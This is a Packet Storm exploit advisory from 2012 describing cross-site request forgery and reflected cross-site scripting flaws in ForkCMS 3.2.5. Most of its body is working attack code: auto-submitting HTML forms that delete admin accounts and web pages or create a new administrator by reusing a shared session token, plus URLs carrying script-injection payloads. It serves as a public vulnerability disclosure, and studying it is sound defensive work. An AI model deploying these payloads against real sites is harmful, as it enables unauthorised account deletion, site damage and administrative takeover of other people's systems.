what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting
Posted Feb 22, 2012
Authored by Ivano Binetti

ForkCMS version 3.2.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | f2cfea65c69290c2400796628d74f7f284984e06498860b68fdbae6498326dde

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : ForkCMS 3.2.5 Multiple Vulnerabilities
# Date : 21-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.fork-cms.com/download
# Vendor site : http://www.fork-cms.com/
# Version : 3.2.5 and lower
# Tested on : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
2.1 CSRF
2.1.1 Delete Admins or Users
2.1.2 Delete Web Pages
2.1.3 Privilege Escalation
2.2 XSS (Reflected)
3)Personal observations
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
ForkCMS is a cms with an "intuitive and user friendly interface".

2)Vulnerabilities Description
ForkCMS 3.2.5 (and lower) suffers from CSRF and XSS (reflected) vulnerabilities.

2.1 CSRF
ForkCMS 3.2.5 is prone to a CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages and do
privilege escalation when an authenticated admin browses a web page containing the following html/javascript code.
2.1.1 Delete Admins or Users
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete ADMIN/USER account</H2>
<form method="GET" name="form0" action="http://127.0.0.1:80/private/en/users/delete?token=true&id=2">
</form>
</body>
</html>

Note that the first id which is possible to delete is 2 because id 1 - named "Fork CMS"- is a superuser admin created during
installation phase (ForkCMS define this user "GOD-user") . IDs's numeration is incremental.

2.1.2 Delete Web Pages
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete Web Pages</H2>
<form method="GET" name="form0" action="http://127.0.0.1:80/private/en/pages/delete?token=true&id=405">
</form>
</body>
</html>

NOte that first id is 405 and IDs's numeration is incremental.


2.1.3 Privilege Escalation
ForkCMS uses a poor logic to manage sessions. It uses a parameter (called "form_token" and composed by 32 alphanumeric
characters) to manage sessions but suppose that you are a normal (not admin) user which sign in into web management
interface from the same machine (pc/notebook/server) and same browser of an administrator: ForkCMS will assign the same
"form_token" for both so this logic will allow you to use your "form_token" id to create a new admin with the following code:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/add?token=true">
<input type="hidden" name="form" value="add"/>
<input type="hidden" name="form_token" value="token_number"/>
<input type="hidden" name="email" value="root@root.com"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="confirm_password" value="password"/>
<input type="hidden" name="name" value="root"/>
<input type="hidden" name="surname" value="root"/>
<input type="hidden" name="nickname" value="root"/>
<input type="hidden" name="avatar" value=""/>
<input type="hidden" name="interface_language" value="en"/>
<input type="hidden" name="date_format" value="j F Y"/>
<input type="hidden" name="time_format" value="H:i"/>
<input type="hidden" name="number_format" value="dot_nothing"/>
<input type="hidden" name="csv_split_character" value=";"/>
<input type="hidden" name="csv_line_ending" value="\n"/>
<input type="hidden" name="active" value="Y"/>
<input type="hidden" name="groups[]" value="1"/>
</form>
</body>
</html>

NOte that this logic is the same if you are two administrators or two normal users.
Also note that with little changes to this exploit you can modify any ForkCMS parameters.

2.2 XSS (Reflected)

http://127.0.0.1/private/en/blog/settings?token=true&report=<script>alert("test")</script>
http://127.0.0.1/private/en/users/index?token=true&error=<script>alert("test")</script>


3)Personal observations
I think that this is a very nice cms which can become great with some security improvements.
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close